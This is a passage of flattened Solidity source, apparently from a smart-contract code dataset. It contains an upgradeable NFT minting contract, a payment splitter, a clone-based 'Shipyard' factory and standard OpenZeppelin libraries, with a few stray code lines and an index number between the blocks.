!walletList[key].contains(wallet)) { return false; } if (mintedInRound[key][wallet] >= x.amountPerUser) { return false; } return true; } function listQualifiedRound(address wallet) public view returns (string[] memory) { string[] memory valid = new string[](roundNames.length); for (uint256 i = 0; i < roundNames.length; i++) { if (isQualify(wallet, roundNames[i])) { valid[i] = roundNames[i]; } } return valid; } function burnNonce(uint256[] calldata nonces) external onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); require(config.allowPrivilege, "disabled feature"); for (uint256 i = 0; i < nonces.length; i++) { nonceUsed[nonces[i]] = true; } } function resetNonce(uint256[] calldata nonces) external onlyRole(DEFAULT_ADMIN_ROLE) { // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); require(config.allowPrivilege, "disabled feature"); for (uint256 i = 0; i < nonces.length; i++) { nonceUsed[nonces[i]] = false; } } function _useNonce(uint256 nonce) internal { require(!nonceUsed[nonce], "used"); nonceUsed[nonce] = true; } /// ROUND end /// function initialize( bytes calldata initArg, uint128 _bip, address _feeReceiver ) public initializer { feeReceiver = _feeReceiver; bip = _bip; ( string memory name, string memory symbol, string memory baseTokenURI, address owner, bool _allowNFTUpdate, bool _allowConfUpdate, bool _allowContract, bool _allowPrivilege, bool _randomAccessMode, bool _allowTarget, bool _allowLazySell ) = abi.decode( initArg, ( string, string, string, address, bool, bool, bool, bool, bool, bool, bool ) ); __721AInit(name, symbol); _setupRole(DEFAULT_ADMIN_ROLE, owner); _setupRole(MINTER_ROLE, owner); _baseTokenURI = baseTokenURI; config = Conf({ allowNFTUpdate: _allowNFTUpdate, allowConfUpdate: _allowConfUpdate, allowContract: _allowContract, allowPrivilege: _allowPrivilege, randomAccessMode: _randomAccessMode, allowTarget: _allowTarget, allowLazySell: _allowLazySell, maxSupply: 0 }); } function updateConfig( bool _allowNFTUpdate, bool _allowConfUpdate, bool _allowContract, bool _allowPrivilege, bool _allowTarget, bool _allowLazySell ) public onlyRole(DEFAULT_ADMIN_ROLE) { require(config.allowConfUpdate); // require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); config.allowNFTUpdate = _allowNFTUpdate; config.allowConfUpdate = _allowConfUpdate; config.allowContract = _allowContract; config.allowPrivilege = _allowPrivilege; config.allowTarget = _allowTarget; config.allowLazySell = _allowLazySell; } function withdraw(address tokenAddress) public nonReentrant { address reviver = beneficiary; if (beneficiary == address(0)) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); reviver = msg.sender; } if (tokenAddress == address(0)) { payable(feeReceiver).transfer( (address(this).balance * bip) / 10000 ); payable(reviver).transfer(address(this).balance); } else { IERC20 token = IERC20(tokenAddress); token.safeTransfer( feeReceiver, (token.balanceOf(address(this)) * bip) / 10000 ); token.safeTransfer(reviver, token.balanceOf(address(this))); } } function contractURI() external view returns (string memory) { string memory baseURI = _baseURI(); return string(abi.encodePacked(baseURI, "contract_uri")); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "nonexistent token"); string memory baseURI = _baseURI(); return string(abi.encodePacked(baseURI, "uri/", tokenId.toString())); } // @dev boring section ------------------- function __721AInit(string memory name, string memory symbol) internal { __ReentrancyGuard_init_unchained(); __ERC721A_init(name, symbol); __AccessControlEnumerable_init_unchained(); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, ERC721ASBUpgradable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } } // File @openzeppelin/contracts-upgradeable/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts-upgradeable/token/ERC20/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts-upgradeable/finance/[email protected] // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitterUpgradeable is Initializable, ContextUpgradeable { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20Upgradeable indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20Upgradeable => uint256) private _erc20TotalReleased; mapping(IERC20Upgradeable => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ function __PaymentSplitter_init(address[] memory payees, uint256[] memory shares_) internal onlyInitializing { __PaymentSplitter_init_unchained(payees, shares_); } function __PaymentSplitter_init_unchained(address[] memory payees, uint256[] memory shares_) internal onlyInitializing { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20Upgradeable token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20Upgradeable token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; AddressUpgradeable.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20Upgradeable token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20Upgradeable.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[43] private __gap; } // File contracts/SBIIPayment.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; // @dev contract SBIIPayment is Initializable, PaymentSplitterUpgradeable, ISBShipable { string public constant MODEL = "SBII-paymentSplitterU-test"; bool public allowUpdate; function initialize( bytes memory initArg, uint128 bip, address feeReceiver ) public override initializer { (address[] memory payee, uint256[] memory share) = abi.decode( initArg, (address[], uint256[]) ); __PaymentSplitter_init(payee, share); // no fee no fee feeReceiver } } // File @openzeppelin/contracts-upgradeable/proxy/[email protected] // OpenZeppelin Contracts v4.4.1 (proxy/Clones.sol) pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library ClonesUpgradeable { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File contracts/ShipyardII.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ pragma solidity 0.8.13; contract Shipyard is Ownable { event NewShip(string reserveName, address newShip, string shipType); mapping(bytes32 => address) public shipImplementation; mapping(bytes32 => string) public shipTypes; Quartermaster public quarterMaster; Lighthouse public lighthouse; string public constant MODEL = "SBII-shipyard-test"; constructor() {} function setSail( string calldata shipType, string calldata reserveName, bytes calldata initArg ) external payable returns (address) { bytes32 key = keccak256(abi.encodePacked(shipType)); require(shipImplementation[key] != address(0), "not exist"); Quartermaster.Fees memory fees = quarterMaster.getFees(shipType); paymentUtil.processPayment(fees.token, fees.onetime); address clone = ClonesUpgradeable.clone(shipImplementation[key]); ISBShipable(clone).initialize(initArg, fees.bip, address(this)); lighthouse.registerContract( reserveName, clone, shipTypes[key], msg.sender ); emit NewShip(reserveName, clone, shipTypes[key]); return clone; } function getPrice(string calldata shipType) public view returns (Quartermaster.Fees memory) { return quarterMaster.getFees(shipType); } function addBlueprint( string memory shipName, string memory shipType, address implementation ) public onlyOwner { bytes32 key = keccak256(abi.encodePacked(shipName)); shipImplementation[key] = implementation; shipTypes[key] = shipType; } function removeBlueprint(string memory shipName) public onlyOwner { shipImplementation[keccak256(abi.encodePacked(shipName))] = address(0); } function withdraw(address tokenAddress) public onlyOwner { if (tokenAddress == address(0)) { payable(msg.sender).transfer(address(this).balance); } else { IERC20 token = IERC20(tokenAddress); token.transfer(msg.sender, token.balanceOf(address(this))); } } function setQM(address qm) public onlyOwner { quarterMaster = Quartermaster(qm); } function setLH(address lh) public onlyOwner { lighthouse = Lighthouse(lh); } receive() external payable {} fallback() external payable {} }
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only");
function setRandomness(address _randomness) public onlyRole(DEFAULT_ADMIN_ROLE) { randomness = ISBRandomness(_randomness); }
7,636,261
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev 